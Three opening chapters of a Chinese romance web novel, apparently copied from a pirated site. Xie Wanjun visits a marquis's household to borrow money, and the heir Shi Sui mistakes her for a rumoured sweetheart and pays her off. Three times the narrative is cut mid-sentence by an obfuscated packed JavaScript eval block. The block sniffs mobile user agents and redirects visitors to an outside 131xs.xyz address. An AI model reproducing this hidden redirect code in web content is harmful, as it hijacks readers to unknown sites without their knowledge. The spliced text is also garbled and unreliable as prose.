《误惹檀郎》 1. 明月在 金陵的四月翠浓红淡，正是春芳已败而夏花未发之时，宣平侯府却已开了满池芙蕖。 据说是为了给老夫人谢氏庆贺六十大寿，提前请了花匠催发的。 宣平侯府是金陵城顶贵的人家，谢老夫人过整寿，前来拜寿的达官贵人险些踏破了侯府的门槛。 畹君站在二院的垂花门外，踟蹰不定地往里面瞧。 她不是头一回来侯府，可这府邸回廊曲槛，景致与她上次来时又有些不同了。畹君生怕寻错了路，碰上不该碰的人，因而在此踌躇不前。 一个待客的婆子迎上来，口中笑道：“姑娘贵姓，要到哪里去？” 畹君忙道：“我姓谢……” “原来是谢家的小姐来了，老夫人这会儿在内厅里听人说书，老奴领您过去。” 那婆子脸上立刻绽出一朵笑花，殷勤地要领她往内厅走。 畹君忙摆手道：“妈妈误会了，我不是老夫人那边的亲戚。我是三太太的娘家外甥女，正想问问您，三太太屋里可是往这边进去？” 那婆子一听，脸上的笑立马垮了下去，斜着眼将她上下打量了一番。 眼前的姑娘二八芳龄，脸上分明未施脂粉，却眉如远黛、唇似丹朱，瑞雪容光，是清而艳的美。 这么出挑的样貌，在整个侯府也是独一档的，难怪自己方才将她错认成贵眷。 如今听其报上了名头，再一瞧她身上穿的那件松绿色软绸衫子，虽是簇新，看得出料子是放了有些年头的，倒还真是三太太的穷酸亲戚才有的做派！ 婆子哂笑一声，随意往垂花门里一指，懒洋洋道：“进了垂花门，绕过那片紫竹林，过了南月亮门，里头就是三太太的秋云院了。” 畹君屈膝福礼谢过她。 捧高踩低是人之常情，这婆子的态度她早已见怪不怪。 畹君的姨妈郑氏是侯府三老爷的填房，郑氏早年虽还算诗礼之家，可远远不到能高攀侯府的程度。 当初三老爷一意孤行要娶郑姨妈当续弦，惹恼了谢老夫人，索性放手不管三房的事，从此只当没这个庶子。 畹君来过几回侯府，知道这里的下人都只拿大房二房当正经主子，私下提起三太太郑氏都是颇不屑的态度。 当然，这其中应该也有郑姨妈性子刻薄的缘故。 畹君一壁想着，一壁走到了秋云院外。 那院里的丫鬟是认得她的，见到她便招呼了一声：“哎呦，是表姑娘来了？奴婢进去通报一声。” 畹君朝她笑笑，坐在廊下等了片刻，便见那丫鬟折出来，领着她进屋子里去了。 进得屋去，但见里头陈设华美，香雾袅绕，当中横着一架云母紫檀屏风，其后摆着两面博古架，上头错落地摆放着金银玉器，灿灿地闪着人眼。 纵使来过好几回，畹君仍难免惊异于侯府的富贵，连不受宠的三老爷屋里亦奢靡至此。 她想起出门前母亲的嘱托，不由轻轻攥紧了袖子。 郑姨妈那慵懒的声音从内间传出来：“畹君来了？进来吧。” 畹君敛下神思，掀了盘花帘进去，低头给郑姨妈请安。 郑姨妈正坐在妆台前用凤仙花汁涂着指甲，晨光从菱花窗中洒进来，灼灼光华给她的脸作衬，将那张美人面上的岁月痕迹掩了下去，分外容光照人。 她一双水杏眼斜睨着畹君，嫣红的唇角勾起一抹刻薄的笑：“真是稀客，这得有大半年没来了吧？还晓得你有个姨妈？” 畹君小心地笑道：“平时不敢叨扰姨妈，今天老夫人做寿，母亲特地打发甥女过来聊表敬贺。” 郑姨妈没接话，将涂好的指甲放在窗边对着光照了照。 在侯府里三老爷是低一等的存在，她在三老爷面前又是低一等的存在，连老太太跟前的仆妇都比她体面。 可在这略显穷酸的外甥女面前，她立刻感到高人一等的扬眉吐气，可见穷亲戚是有其存在的价值的。 郑姨妈嘴边挂着淡淡的笑，眼神在畹君身上逡巡一番：“这身衣衫是你娘的陪嫁吧？虽然没穿过几回，可料子放久了，再新也带着尘土气。” 畹君抿着唇角，不自在地扯了扯衣摆。 今日出门前，母亲说来往侯府的人非富即贵，特意翻了压箱底的衣裳给她换上。她照镜子时看不出什么，没想到郑姨妈一眼便点破了。 郑姨妈还在端详着畹君。 今儿婆母过寿，前头贵客如云，却没有一个是她的亲戚。她没有上台面的亲戚，这外甥女谢畹君家里也是个破落户。 大半年没见，她这外甥女出落得更加清耀冶丽了。虽然寒酸些，可单凭着这张脸，就把那些霓裳锦衣的千金小姐都比了下去。 让她到前头去走一遭，还能给自己挣点面子。 思及此处，郑姨妈扬声朝外喊道：“蕊儿、蕊儿！” 喊了几声，一个圆脸少女走进来，瞥了畹君一眼，挨到郑姨妈身边道：“什么事？” 郑姨妈拍了她一下。 “表姐来了，不知道打招呼？” 那圆脸少女原来是郑姨妈的女儿时问蕊，比畹君还要小两岁。 她懒懒冲畹君喊了声：“表姐。” 郑姨妈道：“你领表姐回你屋里换套体面的衣裳。” 畹君低着头，窘得脸上泛起了红霞。 她毕竟十七了，是最爱惜面子的年纪。若非为了母亲的嘱托，她倒也不愿意腆着脸来攀这门富贵亲。 时问蕊翻起眼皮又觑了畹君一眼，拉长嗓音“哦”了一声，起身走了出去。 畹君只得跟着问蕊到了她住的厢房，屋里绣幕低垂，炉香袅袅，虽然没有正房奢华，却处处透着精致雅贵。 时问蕊打开一面黄花梨衣柜，里面叠满了当季的夏衫，红紫青绿琳琅满目，绫罗纱缎应有尽有，还飘着一股浅淡宜人的幽香。 她翻了一回，从最底下取出一件银紫色纺花轻罗衫来。 这件衣衫的颜色淡而亮，问蕊肤色稍深，穿上反而显得整个人黯淡无光，因而把它压了箱底。母亲要她借衣裳给畹君，自然是挑这件最不受待见的。 她面无表情地把衣衫递给畹君。 畹君轻声谢过她，进了纱橱换上那件罗衫出来，倒是令人眼前一亮。 这颜色虽挑人，却正合了畹君欺霜赛雪的肤色，映衬得她容光照人。又因她比问蕊要纤瘦些，楚腰束素，颇有些飘逸翩跹的出尘之感。 时问蕊不喜欢这个表姐，原因之一就是她比自己好看。 她沉着脸带畹君回了正房。 郑姨妈眼见这先后进来的两个姑娘，外甥女虽然妆饰简单，却把自己女儿完完全全地比下去了。 要知道当年没出阁前，人人都说她的颜色比畹君的娘要好，没想到在女儿辈竟反了过来。 郑姨妈唇角的笑淡下来，把畹君招到面前，蹙着眉拔下她头上簪的两枚银钗。 “到了前头没几件像样的首饰，没得惹人笑话。” 她在妆奁上寻出一对珍珠耳坠、两支镶宝金步摇、一对碧玉手镯出来给畹君戴上。 装饰毕后，郑姨妈将畹君左右端详了一番，见她果然是清水出芙蓉，只略略妆饰，便活脱像富贵人家出来的大小姐。 “好了，跟你蕊儿妹妹到前头听戏去吧。”郑姨妈满意地用帕子擦擦手，又道，“这首饰算姨妈借你的。听完了戏原样还回来。若丢了哪件，我要找你娘照价赔的。” 畹君一听这话，立时觉得头上有千斤重，那借钱的话也盘旋在舌尖出不来了。 她只好思量着，等回来还衣服首饰之时，再向郑姨妈开口提借钱的事。 万一被姨妈拒绝的话，她也能直接家去，不必在这侯府里不自在地捱半天。 畹君谢过郑姨妈，随着时问蕊走到了前厅去。 前厅开了台唱戏，谢老夫人是北方人士，请的是京剧班子。太太们在楼下听戏，二层阁楼上则是姑娘们的天地。 时问蕊大概是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668336|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得穷亲戚跌份，领着畹君上了阁楼，寻个座位给她坐下，便自顾去找别家的小姐谈天去了。 畹君孤零零地坐在座位上，那戏台上的唱腔被风吹淡了些，后头小姐们的议论倒是听得格外清晰。 小姐们闲话，说来说去无非是各家宅门里的轶事。 她们讲的那些显贵人家，大半畹君都不认识。可总有一两家特别出名的，譬如这场宴会的东道主时家，譬如寿星老夫人的母族谢家。 “三娘，今儿正好赶巧，你给说说时二爷和谢四娘的传闻是不是真的？” 那被唤作三娘的是宣平侯的三女时雪莹，她拿帕子掩嘴笑道：“你问我？怎么不到四娘面前问她去？或者把我二哥叫过来，你们亲自问他。” “呀！我可不敢，你那哥哥又是杀敌又是剿匪，我怕他一不高兴把我砍了！” 小姐们一阵娇笑，可罗帕之下的绯红脸色掩不住那隐隐的向往。 畹君也不由弯了弯唇角。 她们说的那桩传闻，是侯府二公子时璲和金陵知府家的四姑娘的逸闻。 时二公子是金陵近来最炙手可热的人物。 他早年在边疆征战，立下赫赫军功；前些时候又奉命在姑苏剿匪，因此拖到了二十岁还未结亲。 数月前时璲调回金陵出任指挥佥事，调令一传回来，一下子在金陵显贵中炸开了锅。各家争着请人上门说亲，欲与侯府结下秦晋之好，偏这时却流出时璲跟谢四姑娘的传言。 据说他们在鸡鸣寺一见钟情，各自交换了信物，两家也有意亲上加亲，只待请媒人去提亲了。 时谢两家本是世代姻亲，加上侯府又婉拒了几家请来的媒人，愈发印证了这桩传闻的真实性，倒令其他人家不敢轻易上门说亲了。 如今众人最津津乐道的便是这桩桃色传闻，阁楼上的小姐们言谈之间，总绕不开对此事真假的揣测。 可对畹君而言，这些公子小姐们的逸事就像戏文般遥远。她只略听了听，便转过神去琢磨向姨妈借钱的事。 去年秋天母亲才跟郑姨妈闹了别扭，若非家里实在周转不开，也不会让她来这一趟。 偏偏郑姨妈又是极记仇的人，只怕借不到钱还要遭一通嘲讽，她真有些开不了口。 畹君正沉思着，时问蕊走过来拍了拍她的肩，往阁楼下的假山一努嘴：“有人找你。” 畹君一愣：“找我？” 时问蕊不耐烦起来：“人家说了找谢姑娘，可不就是找你的？” 畹君只好起身下了阁楼，心中一面疑惑：她在这侯府也不认得什么人，怎么会有人找她？ 走到假山旁，石径上站着一个衣冠体面的小厮，样子看着有些倨傲，略打量了她两眼道：“可是谢家姑娘？” 畹君点点头，心中仍是疑惑。 她又想到老夫人的娘家也是姓谢，怕不是找那个谢家的姑娘？可她不认得，问蕊该是认得的，应当不至于传错话才是。 她正要问，那小厮已经转身带路去了。 他步子迈得大，须臾便走出数步远，畹君只好快步跟了上去。 那小厮一路穿廊过院，领着她走到了一处水榭边。水榭对面就是戏台，那头奏乐的声响隐隐地传过来。 水榭里一个高个子的青年负手而立，穿鸦青色熟罗直裰，素银带，紫金冠，挺拔高挑的身形如琼枝玉树，虽背对着她看不见脸，那身矜贵气度却不减半分。 畹君心中正疑惑，一旁小厮开声道：“二爷，谢姑娘请来了。” 二爷？ 畹君心头一跳，这该不会是那位风头正劲的时二公子吧？ 印证她猜想似的，那青年转过身来，映入眼帘是一张年轻而英俊的脸。 畹君见过三老爷的儿子，眼前之人长得与其有几分相像。只是此人眉目深邃，鼻骨挺拔，显得有些高傲冷峻。 偏那薄俊的唇边没有一丝笑意，黑玉般的眼眸虽是看她，却映着冷光，颇有些来者不善的意思。 2. 彩云归 那小厮早不知何时退了下去，水榭里只剩下畹君茫然地与他相对。 对面的青年身形一动，迈步朝她走了过来，最后堪堪在她面前停下。 畹君还没搞清楚状况，鼻端先闻到幽淡的皂角香，随即眼前落下一片高深的阴影，极强的威压当头罩下来。 她仓惶地后退了一步，仰起头看向面前的青年。 他正低眸俯视着她，此刻离得近了，那寒潭般的黑眸冷光流转，清晰地映出她略带惊惧的脸。 畹君下意识地往他身后扫去。 隔着一池芙蕖，戏台上的热闹缥缈地传过来。倘若她此刻大喊，未必会有人注意到。 “怕什么？以为我会对你感兴趣？” 那压迫十足的青年忽然冷笑一声，抬手扔了个香囊到她面前的石桌上。 香囊络子上串的玉石磕到桌沿，发出清泠的脆响，像磕在了畹君心里。 这么好的珠玉，磕坏了多可惜！ 畹君一阵心疼，低头看向石桌面上的香囊。 浅粉色缎面在日光下泛着莹莹的光泽，可见是极好的料子；上头用五彩丝线绣着百蝶穿花的纹样，绣工倒是一般，应该是哪个闺阁姑娘的贴身香囊。 “有劳你费心，千方百计在鸡鸣寺丢下这个香囊给我。” 时璲的声音淡漠得有些发凉，“原本怕有损谢姑娘的闺誉，拾了香囊准备还你，没想到一回来就听到我的谣言满天飞。” 畹君迎上他那略带嫌恶的目光，心中忽地豁然开朗：他这是认错人了，把她当成了跟他传绯闻的谢四姑娘吧？ 她正欲解释，面前忽然金光一闪，时璲又丢了一枚金锞子到她脚下。 他长眉一挑，有些恶劣地笑道：“请你今后收收心，别再造谣生事，这金子就当我给你的谢礼。如何？” 畹君低头，看着脚下黄灿灿的金锞子，心里砰砰直跳。 出门前母亲再三叮嘱，务必找姨妈借够十两银子。而这金锞子看起来足有二三两重，能换回二三十两银子。 纵使知道这金子是用来侮辱人的，可那只能侮辱到金枝玉叶的谢四姑娘，侮辱不到她。 畹君犹豫了一下，认下了这个乌龙，慢慢蹲下身捡起了那枚金锞子。 明亮的阳光斜打在她的脸上手上，肌肤在映着光华如清透的白璧，比手中的金子还要闪眼。 畹君笼着手里沉甸甸的金锞子，对上时璲有些错愕的神情，朝他微微一笑：“我知道啦，以后不会了。” 她顺手拿过桌面上的香囊，像怕时璲反悔似的，不等他开口就转身离开了水榭。 时璲望着那道窈窕纤秀的背影，忍不住鄙薄地皱起眉头。 谢氏好歹是高门望族，怎么教养出的姑娘一副见钱眼开的样子，连好赖话都听不懂？ 不过，若非那粗鄙之人，也干不出拿名声攀附男人的事。 他拂袖转身，晨间的朝阳从水榭斜穿进来，她方才站过的地方恍惚间闪过一道细白的光。 畹君平白得了一笔意外之财，心情相当地好。 她一面掂着手里的金子，一面暗忖道： 原来时二爷与谢四姑娘的传言是假的。只是时二爷行事未免太粗暴，半分面子也不给姑娘家留。倘若那番话是对着谢四姑娘说的，那她只怕要羞愤欲死了。倒不如我去做个传话筒，把时二爷的意思温和地传达过去，让他二人误会解开，我也不算白得他的钱。 畹君打定主意，仍旧往戏台那边走去。 上了阁楼，时问蕊立马凑了过来，问道：“是谁找你？” 畹君瞥见她眼中闪着看好戏的光芒，知她是明知故问，便半真半假地说道：“是时二爷找，只不过他要找的是谢四姑娘，听说找错人便让我回来了。” 时问蕊有些失望。 畹君顺势道：“你可知道谢四姑娘在哪里？我去转告她一声。” 时问蕊冷哼道：“人家是祖母的娇客，自然要在祖母面前尽孝。你要见她，恐怕人家还不想见你。” 畹君从这番言辞中听出来，时问蕊似乎颇不喜那谢四姑娘，难怪故意传错话，引她去见了时二爷。 她摸了摸荷包里的金锞子，这趟也算因祸得福，便不计较问蕊捉弄她的事，起身到楼下寻了个面善的婆子，央其去请谢四姑娘过来相见。 那婆子打量了一下她的装束，还当她是哪家的贵客，便颇客气地应声而去。 畹君重新回到阁楼上等待。 因解决了母亲交代下来的任务，她心中松快了不少，总算有心思打量周围的事物。 因是看戏，阁楼上的桌几摆着各色茶果点心，尤以其中一碟桃花面果子晶莹可爱，哪怕畹君不爱甜食，看着也是喜欢。 她心里一动，取了方干净的帕子包起一块面果子，准备带回家给妹妹佩兰吃。 再一想，母亲恐怕也难得吃这么精致的糕点，又包多了一块进去。 殊不知她的举动尽数落在时问蕊眼里。 时问蕊嫌表姐寒酸得紧，唯恐被人瞧见了连累自己一起丢人，便推说困乏，要回秋云院去。 畹君本就是同她一道出来的，时问蕊要走，她也不好多留。 只是谢四姑娘还没过来，她心中牵挂，正犹豫不定，问蕊已经下了楼去。 畹君只好跟了上去。 回到秋云院，她去换回了自己的衣裳，又将换下来的银紫罗衫原样叠好，送回去给时问蕊。 时问蕊没好气道：“谁要别人穿过的衣服？横竖你穿着好看，留着自己穿吧。” 畹君知道她是真嫌弃，便没推辞，将那件罗衫收了起来。 她又卸头上的钗环，摘下耳坠时却吃了一惊。 那左边的赤金嵌珠耳坠上不知何时掉了一个拇指盖大小的珍珠，正光秃秃的一个大洞空对着她。 这耳坠做工精致，也不知价值几何。 畹君素知她那姨妈是刻薄计较的个性，真做得出让她赔钱的事。这趟本就是来借钱的，反倒贴了银子进去怎么成？ 她想了想，还是悄悄出了秋云院，循着记忆将路上看了一圈，都没见到遗落珍珠的影子，最后不得不找到水榭那头，却仍是一无所获。 畹君心中沮丧，今日来宾如云，那么大一颗珍珠掉在地上，只怕早被人拾走了。 她垂头丧气地走出去，谁知刚出水榭，远远见到有人迎面走了过来。 那一身鸦青色直裰并高挑俊朗的身形，不是那时二爷又是谁？ 他身边还有一个俊秀儒雅的年轻男子，畹君认出是三老爷的长子时瑜。 他是郑姨妈的继子，畹君该唤他表哥。 因是认得，畹君怕迎面撞见，被时瑜拆穿了她的身份，到手的金子便不保了；且她和时瑜有点不愉快的过往，并不是很想见到他。 她不作多想，环视四周一圈，闪身躲到了水榭旁的芭蕉丛后面，借着宽大滴翠的芭蕉叶将身影遮得严严实实。 那二人近前，她隐隐听到他们谈话的内容： “……前阵子姑苏有一伙水匪，清剿的时候竟流窜到金陵县郊来了。” 时瑜乐道：“那岂不是撞到二哥的地头了？合该他们倒霉。” “那些水匪都是亡命之徒，”时璲忽然停顿了一下，似是往这边望了过来。 畹君心头一紧，将足尖往芭蕉丛里挪了挪。 好在他应当没有发现异常，又继续着方才的话说了下去，“我倒不惧，只是担忧那伙匪徒戕害周边百姓……” 那两人声音渐小，畹君长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668337|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒了一口气，待他们走远了，才小心翼翼地从芭蕉叶后面出来。 方才为着找珍珠，差点忘了谢四姑娘那桩事，还是趁机赶紧解决的好。她又踅回戏台那边，却不见了那替她传话的婆子的踪影。 畹君等了一会儿，此时戏台上正唱着《空城计》的最后一折，看戏的人已稀稀落落。眼见宴席将散，她不好多作逗留，只得回秋云院去再作打算。 回到正房，她不提还首饰之事，先朝郑姨妈道出来意：“这番过来原是有事求姨妈……阿娘说没银子给佩兰买药了，不知姨妈手头可宽裕，借我们十两银子周转些日子？” 郑姨妈闻言，脸上虚浮的笑立刻撇开了。 因为她继子的那桩事，外甥女大半年没上过她家门。如今竟肯过来，果然是盯着她的钱袋子呢！ “姨妈哪有什么银子？你别看我这屋里奢华贵重，其实连那帐子炉子都是公中的，当个摆设罢了！再说你妹妹佩兰吃的那都是什么药？人参虫草，侯府都经不起那样吃，何况你们那样的人家？我借得了一次两次，还能一直养着你们不成？你又没爹，你娘不肯改嫁，你也十七了，是时候张罗着相看个金龟婿要紧，好过天天琢磨我的钱袋子！” 畹君知道郑姨妈大概是不肯借钱的，可被她刻薄地这么戳着痛处，还是忍不住眼眶里蓄了层薄薄的水光。 她压下鼻尖酸意，仍然陪出一个笑脸道：“那……甥女想借姨妈的珍珠耳坠戴几日可好？过几日就还回来。” 她是打算着回去找颗差不多的珠子请人嵌上，虽然也要花点银子，可也比整件赔偿要划算多了。 郑姨妈方才拒了她借钱的请求，不好再冷脸；又打量着她去相看人家，也确实需要点上台面的首饰。否则人家金龟婿凭什么要她呢？ 凭她那张好脸还是那短命爹留下来的官小姐的虚名？ 思及此处，郑姨妈叹道：“罢，罢，你要戴便拿去戴几日吧。只是戴完了就还回来，别琢磨着拿去换钱，我心里一笔笔账算得清楚！” 畹君见目的达成，顿时如释重负，屈膝福礼谢过郑姨妈。 从侯府回到家里已是擦黑的天。 母亲郑云娘一早立在巷口，拉长了脖子等她回来。见到巷外出现畹君的身影，两侧灯笼透出的暖光晃在她身上，落下一层金纱般的光影。 云娘忙迎出去道：“如何了？你姨妈怎么说？” 畹君虽未开口，嘴角已压不住隐隐的笑意，从荷包里摸出那锭金锞子放在母亲手上。 云娘摸到沉甸甸的金子显然是喜出望外，口中直道：“你姨妈这回怎么这样大方了？” 畹君欲言又止，想了想道：“姨妈也关心着佩兰呢，怕她断了药。姨妈说这金子是送我们的，娘不必想着还了。” 云娘叹道：“你姨妈嘴上不饶人，心地到底是好的。” 畹君没接她的话，别过话头道：“娘明儿拿这金锞子换了碎银，先给妹妹拣药，也分五两给我零用。” 云娘皱眉道：“你要这么多银子做什么？” 畹君立住了脚步看向她娘。 云娘早先也是个美人，可这些年独自一人拉扯着两个女儿，眼角眉梢都是操劳的细纹，连鸦鬓都爬上了几缕银丝，跟保养得宜的郑姨妈比倒足像差了十岁。 她心里一酸，压下心头的不悦道：“我十七了，留点银子给自己备嫁妆不成么？” 云娘没说话，好一会儿才道：“是，是该备点嫁妆。今儿出门，都找不到件像样的衣裳给你穿。等换了银子，娘还要去给你裁两件体面些的衣裳。” 畹君闻言鼻尖一酸，悄悄别过脸去，借一段没有烛光的路擦去眼角的泪。 妹妹有先天的肺疾，母亲一心扑在妹妹身上，鲜少有这样关心她的时候。 3. 再相逢 走到家门口，远远瞧见一道小小的身影候在檐下往外张望。 昏淡的灯火照在那丰圆的小脸上，露着一点尖尖下巴，不过八九岁的年纪，正是畹君的幼妹佩兰。 云娘见了佩兰，口中责备道：“你身上不好，跑出来做什么？” “出来迎姐姐。”佩兰怕挨骂，小跑着躲到畹君身后，拿黑葡萄般的大眼睛偷觑着她娘。 畹君一笑，牵起佩兰进了堂屋。 待坐定后，她从怀里摸出包好的桃花面果子，分别递到母亲和妹妹面前：“这是侯府的糕点，做得可精致了，专门带回来给你们尝尝。” 佩兰高兴得两眼冒光，把面果子三下五除二尽数塞进嘴里，将腮帮子撑得鼓鼓的。 畹君拿帕子擦去她嘴角的细屑，嗔道：“吃没吃相，平时是少你饭吃还是怎的，谁家姑娘似你这般粗鲁？” 佩兰不以为意，努力地咽着口中的糕点。 云娘听了心中却颇不是滋味。 畹君她爹生前是江浦县令，八年前因病离世。畹君好歹当了九年官家千金，哪怕如今家道中落，亦已养成端庄得体的举止。 而佩兰是遗腹子，一出生就没了爹，胎里又带着病，哪有那样的条件和环境给她学礼仪？ 说起来，她最亏欠的就是小女儿了。 云娘把手上的面果子递给佩兰，温声道：“别急，阿娘的也给你吃。” “娘！”畹君不满，“这块是给你带的！” 云娘笑道：“娘早过了稀罕这些东西的时候了，你妹妹爱吃，就都给她罢。” 畹君闻言闷闷不乐，虽素知她母亲是这样的性子，只是一番心意全然不被母亲放在心上，难免有些明珠暗投的郁懑。 她起身回到屋里，将时问蕊给她的那件罗衫拿出来细瞧。纤薄的银紫色花罗裁剪得宜，在烛火下泛着瑰艳的暖金调，隐透粼光，华美得叫人目不能移。 虽然是时问蕊嫌弃不要的，畹君还是喜欢得不行，小心地将衣衫叠好放进箱笼里，这才取出那枚掉了珍珠的耳坠细看。 耳坠上的孔洞大如拇指盖，要找到这么大的珍珠只怕不易。 畹君暗恨自己粗心，那么大一颗珍珠，怎么掉了都没发觉呢？ 翌日云娘拿着金锞子去换了二十六两碎银，留下二十两家用，余下的六两给了畹君。 畹君翻出账本，将这六两银子的入账记了下来。 这些年母女三人相依为命，父亲的留下来的薄产只够勉强度日，云娘平时在酒楼帮厨，闲暇时还得接些绣活来贴补家用。 她从十岁起帮母亲做绣活，如今针线做得极尽秀致工丽，卖出去的价钱也越来越高。及笄以后，又在巷口支了个书信摊，平时替人读信写信，每日也有几十钱的收入。 畹君从书信摊赚的银钱都攒了下来，备着给自己当嫁妆。只是佩兰每月要吃二三两银子的药，有时候家里周转不开，她少不得拿自己的私库去补。 因此两年多了，畹君的私库还是只有可怜的十几两银子。等补上那颗珍珠，还不知道要去掉多少银子。 畹君长吁短叹了一回，仍旧到巷口树荫处支起摊子。 如今暑气渐盛，巷口成了邻里最爱的纳凉去处，连带着畹君的生意也好了些。没客时她便低头做针线，一面分神去听旁人闲话谈天。 那闲聊的人中有一个姓葛的婆子，平日里行走在大户人家的后厨帮工的，说起那些高门私事来头头是道，畹君正是从她口中听说的时二爷和谢四娘的传闻。 这天葛婆子又在与几个婆姨闲聊，说到前些日子宣平侯府老夫人的寿宴—— “那位时二爷呀，听说谢四娘来府做客，为告相思之苦，特地让小厮请了谢四娘到幽静处相会。谁知谢四姑娘端庄守礼，不愿婚前私会，因而没去。虽然没见成，可倒让时二爷愈发敬重珍爱起她来……” 畹君一听，险些让绣花针刺破了手指。 她心中倍感不妙，因为记挂着耳坠的事，反而将谢四姑娘那档事忘了。眼见流言传到了这种地步，要是给时二爷听到，还不得气死，只怕跟那谢四姑娘的罅隙更深了。 她得赶紧找到谢四姑娘，向其转达时二爷的意思才行。 可是该怎么见到谢四姑娘呢？那谢府高门大户，她也进不去；若等谢四姑娘去侯府做客，那她还得再上一趟侯府的门。 畹君心烦意乱，早早收了摊回去。 回到家里，云娘去了布庄裁衣裳，只剩个佩兰关在屋里。 畹君去熬佩兰平日喝的药，小姑娘就蹲在药炉子旁边帮她扇风。 “姐姐，你是不是有心事？”佩兰半歪着头，大眼睛黑白分明，倒映着畹君秀眉半蹙的模样。 畹君转过眸光看她一眼，幽幽叹道：“如果两个人之间有误会，本来要解开的，却因为我的缘故耽搁了，现在误会闹得更深了。你说，这可怎么办呀？” 佩兰眨巴着眼睛道：“那他们重新说清楚不就好了。” 畹君一怔。 是了，时二爷能找谢四姑娘一回，便能再找第二回。 这流言都传到市井街巷里了，他肯定有所耳闻，说不定早耐不住去找谢四姑娘算账了。只要他们一见面，就会知道上回是她冒认了身份，只怕两个人都已经恨上她了。 要是她现在找上谢四姑娘，岂不是送上门给人家问罪的？ 畹君一迟疑，便压下了去找谢四姑娘的念头。 左右她也不常去侯府，等把耳坠还给郑姨妈，以后避着时二爷走就是了。反正时家她已经有了一个要避的人，也不差再多他一个。 敲定主意，她反而轻松起来，渐渐将此事抛到了脑后。 过几日到了四月十五，畹君起了个大早，准备出城去上元县郊的慈育堂开义塾。 慈育堂的管事陶妈原先是她家的邻居，听说畹君能认字，便聘她给慈育堂的孩子们启蒙，一个月给五百文钱。 后来慈育堂收的孤儿太多，城里住不下，便迁到了上元县郊去，也顺势停了畹君的差事。 可畹君见慈育堂好些孩子聪明伶俐，不忍心让她们以后目不识丁，便每月逢望日出城去开一次义塾，如今也坚持了一年。 一大早她赶到街口坐上了驴车，因是出城，便戴了一顶青纱帷帽。只是女孩子到底爱俏，平时没机会穿那件银紫罗衫，正好趁今天穿出门去。 那驾驴车的人称王五，平日做的就是驾车往返金陵府城和上元县的营生，畹君坐了他一年的车，两人也算是相熟。 到了上元县郊，王五特意往慈育堂多捎了一段路。 畹君感激他这一年的照拂，正好最近手头宽裕，便多给了他二十文钱。 王五高兴得见牙不见眼，连声道：“申时二刻，我还在这里等谢姑娘。” 畹君谢过他，便往慈育堂走。 慈育堂建在清溪村北坡上，占地甚广，有二十几间屋子，住了六七个管事并五六十个孩子，还有一半的空屋子。 如今天热，畹君爬上坡便出了一层薄汗。 她一到门口，慈育堂的孩子们便冲过来将她团团围住。因义塾这日不用干活，故而孩子们都分外盼望她来。 管事陈妈见了畹君笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668338|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打趣：“谢姑娘今儿怎么穿这样好看？求亲的人都快踏破门槛了吧？” 畹君脸上浮起红云，嗔道：“妈妈真是的，怎么好当着孩子们的面说这些话？” 陈妈摇头笑道：“又不是什么见不得人的事，姑娘年纪到了，本就该多作考虑嘛。我看谢姑娘知书达理，又是官家千金，至少也得是个秀才举人方配得上你。” 畹君苦笑一声没有接话。 其实自她及笄以来，便有许多人上门说亲，其中不乏人品样貌俱佳的青年才俊。 只是母亲嫌人家清贫，要给她找个富贵门庭；又恐怕委屈畹君，还要求人家身上有功名。 这般一来，满足条件的人家反而嫌她早年丧父、又没有兄弟帮衬。 一来二去，她的婚事倒耽搁了下来。 畹君没母亲要求那么多，她就想嫁个家世简单、年纪相当的秀才，到时陪着夫君一路科考，以后当个进士娘子官太太，日子总会越过越好。 陈妈见她不欲多谈，便让她领着孩子们进屋读书去了。 因为一个月只开一次义塾，所以她将教书的内容压得极满，只在用午饭时停下来歇了两刻钟。 慈育堂的孩子都是孤儿，因此更为懂事乖巧，纵有几个不爱认字的孩子，也非常安静守纪地听她开蒙。 畹君讲得口干舌燥，便让他们自行练习写字，自己忙里偷闲倒了杯茶喝。 这时外头响起一阵骏马的嘶鸣，畹君心中好奇，端着茶杯踱到窗边往外望去，见是两个红衣官兵在跟陈妈说话。 她不由轻皱眉头。 她们这样的安分良民是极少见到官兵的，要是出现了官兵，那必然是出了不好的事。 她寻了空出去问陈妈：“方才那两个官爷来干什么的？” 陈妈向来笑眯眯的脸上难得凝重起来：“那官爷说，近来边郊有匪徒流窜，他们要在此剿匪，想借我们这处房屋做个临时据点。” 剿匪？畹君心里猛地一紧，想起那日躲在水榭后面听到的谈话，忙问陈妈：“外头来了几个官爷？为首那人长什么样？” 陈妈凝神一想，道：“来了有十个人吧，都是骑马来的。为首那大人的个子很高，长得很俊，虽然看起来年纪不大，可是很有威仪。哎呦，我都不敢跟他说话，让杨妈在前面招待呢。” 